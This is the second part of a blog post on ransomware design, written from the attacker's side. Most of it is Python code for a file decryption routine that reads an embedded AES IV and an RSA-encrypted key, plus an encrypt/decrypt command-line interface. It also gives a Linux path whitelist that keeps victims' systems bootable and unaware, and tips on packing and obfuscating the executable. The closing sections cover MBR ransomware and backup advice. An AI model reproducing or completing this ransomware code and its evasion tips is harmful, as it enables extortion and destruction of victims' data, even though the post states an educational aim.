Architecture of a ransomware (2/2)
By: Security Shenanigans
Tags: Security, Pentesting, DevOps, Ransomware, Infosec

Note how we didn’t need to copy the full file, we just used the seek() method over the file object to navigate the bytes and make the process as quick as possible. This will also be used in the decryption function.

Also note that since we’re writing both the AES IV and the encrypted key in the encrypted file, we don’t need any kind of txt file with a track of each encrypted file. The victim can just send us any file, and as long as we have the private key used for that specific binary, we’ll be able to decrypt it.

SymDecryptFile

This will be the main decryption function. This is how it’ll work:

Call the function with a privateKey and a file path as a parameter

def symDecryptFile(privateKey, file):

2. Define an decryption size (n bytes) for the file (equal to the one used in the encryption). In our example we used 1MB.

buffer_size = 1048576

3. Verify that the file is encrypted (with its extension).

if file.endswith("." + cryptoName):

out_filename = file[:-(len(cryptoName) + 1)]

print("Decrypting file: " + file)

else:

print('File is not encrypted')

return

4. Open the file and read the AES IV (the last 16 bytes).

input_file = open(file, 'r+b') # Read in the iv

input_file.seek(-16, os.SEEK_END)

iv = input_file.read(16)

5. Read the encrypted decryption key. This will be

# we move the pointer to 274 bytes before the end of file

# (258 bytes of the encryption key + 16 of the AES IV)

input_file.seek(-274, os.SEEK_END)

# And we read the 258 bytes of the key

secret = input_file.read(258)

6. Decrypt the encrypted key with the provided private key

key = rsaDecryptSecret(cert, secret)

7. Decrypt the aes-encrypted buffer size we defined before, and write it to the beginning of the file

# Create the cipher object

cipher_encrypt = AES.new(privateKey, AES.MODE_CFB, iv=iv)

# Read the encrypted header

input_file.seek(0)

buffer = input_file.read(buffer_size)

# Decrypt the header with the key

decrypted_bytes = cipher_encrypt.decrypt(buffer)

# Write the decrypted text on the same file

input_file.seek(0)

input_file.write(decrypted_bytes)

8. Delete the iv + encryption key from the end of the file and rename it.

# Delete the last 274 bytes from the IV + key.

input_file.seek(-274, os.SEEK_END)

input_file.truncate()

input_file.close()

# Rename the file to delete the encrypted extension

os.rename(file, out_filename)

Final Considerations

Having all these functions, you can create a single binary that lets you either encrypt or decrypt your folder of choice. If you correctly coded the symEncryptDirectory / symDecryptDirectory functions, you can just pick either the encryption or the decryption of a parameter folder/file and just pass a .pem file. You would have something similar to this on the binary before the main call.

parser = argparse.ArgumentParser() parser.add_argument("--dest", "-d", help="File or directory to encrypt/decrypt", dest="destination", default="none", required=True) parser.add_argument("--action", "-a", help="Action (encrypt/decrypt)", dest="action", required=True)



parser.add_argument("--pem","-p", help="Public/Private key", dest="key", required=True)

Aside from the obvious error validation missing (check if the “encrypt” action has a public key passed as a parameter, the “decrypt” has a private one, etc…), you’ll have to define a “whitelist” of files/folders for each operating system. You’ll need to do this in order to leave the computer “usable” but encrypted. If you just start encrypting every file on sight you’ll probably:

1. Make the computer unusable for the user, who’ll realize somethings wrong

2. After encrypting everything, the system won’t boot and the user won’t know that he’s been hit by ransomware.

Just to give you an example, in Linux the whitelist would be something similar to this:

whitelist = ["/etc/ssh", "/etc/pam.d", "/etc/security/", "/boot", "/run", "/usr", "/snap", "/var", "/sys", "/proc", "/dev", "/bin", "/sbin", "/lib", "passwd", "shadow", "known_hosts", "sshd_config", "/home/sec/.viminfo", '/etc/crontab', "/etc/default/locale", "/etc/environment"]

You’ll probably want to pack the .py script with all of its dependencies and bundle it into a single executable. I’m not going to show a step by step, but you can look into pyarmor and pyinstaller. Also, depending on the type of obfuscation you want to use (and the type of binary), Nuitka can be of great help.

Other flavours of ransomware (MBR encryption)

There’s another flavour of ransomware that we didn’t touch, and those are the ones that infect the Master Boot Record of your drive. This, in turn, allows it to run a payload which will encrypt the filesystem’s NTFS file tables, which will render the disk unusable. This approach is very quick since the malware only needs to encrypt a small portion of data. The Petya ransomware is an excellent example of this design. It has three main disadvantages:

the first is that even when the OS is left unbootable, you can still recover your files with forensic analysis. They are not deleted, they are just de-referenced in the file table. Even if the malware starts an encryption routine for the raw data after rebooting the computer, if the victim just shuts down the computer and takes the disk out, the files should be recoverable with some forensic analisis.

The second disadvantage is that most modern OS don’t use MBR anymore since they’ve migrated to GPT (GUID Partition Table).

The third disadvantage is that it is heavily filesystem dependent, and that it would need to be modified to contemplate other filesystem types which do not behave like NTFS (think EXT3/EXT4, ZFS and so).

This approach requires a lot more low-level technical concepts and I didn’t want to extend this post that much. Also, this methodology is not the most frequently used, and my main intent writing this article was to make readers better understand “common” ransomware.

Conclusion / General Advice

Aside from the obvious frequent recommendations that you should be aware of (don’t open attachments from unknown sources, keep your infrastructure updated, run anti-malware software, etc…), the main prevention technique I can recommend is backup, backup and backup… You will hear a lot of advice on how to prevent an attack, but in my opinion, the best is to always assume that you’ll eventually get infected and have an offline backup of your data.

Even if you’re 100% trained to recognize malicious vectors, one of your organization’s users might not be, and that’s all it takes to encrypt all the mapped shared drives.

Lastly, one thing that I haven’t seen anybody recommend: if you got infected, and the encrypted files don’t need to be recovered right away (family pictures, videos, etc…), try to keep a copy of the encrypted files. Sometimes the malware developers either retire (Shade, TeslaCrypt, HildaCrypt), or get arrested (CoinVault), or even publish the key of its competitors (Petya vs Chimera) and in all these situations the decryption keys might get published. You might get lucky and end up recovering your files a couple of months later.

Retirement letter from the Shade creators.

Retirement letter from the TeslaCrypt creators.

HildaCrypt published keys.

That’s all for this post. I hope it was helpful, and that you now have better tools to respond to your next ransomware encounter!